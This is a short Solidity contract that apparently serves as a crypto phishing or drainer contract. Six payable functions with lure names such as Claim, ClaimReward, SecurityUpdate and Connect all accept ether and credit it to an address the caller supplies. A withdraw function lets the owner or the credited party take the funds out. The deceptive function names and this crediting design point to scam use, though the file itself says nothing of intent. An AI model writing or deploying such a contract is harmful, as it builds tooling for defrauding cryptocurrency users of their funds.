// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.17;

contract SmartContract {
  address private owner;
  mapping (address => uint256) private balances;

  constructor() {
    owner = msg.sender;
  }

  function getOwner() public view returns (address) {
    return owner;
  }

  function getBalance() public view returns (uint256) {
    return address(this).balance;
  }

  function getUserBalance(address user) public view returns (uint256) {
    return balances[user];
  }

  function withdraw(address to, uint256 amount) public {
    require(msg.sender == owner || msg.sender == to, "Only the owner or the sender can withdraw");
    amount = (amount == 0) ? balances[msg.sender] : amount;
    require(amount > 0 && balances[msg.sender] >= amount, "It's not enough money on balance");
    balances[msg.sender] -= amount;
    payable(to).transfer(amount);
  }

  function Claim(address sender) public payable {
    balances[sender] += msg.value;
  }

  function ClaimReward(address sender) public payable {
    balances[sender] += msg.value;
  }

  function SecurityUpdate(address sender) public payable {
    balances[sender] += msg.value;
  }

  function Execute(address sender) public payable {
    balances[sender] += msg.value;
  }

  function Swap(address sender) public payable {
    balances[sender] += msg.value;
  }

  function Connect(address sender) public payable {
    balances[sender] += msg.value;
  }
}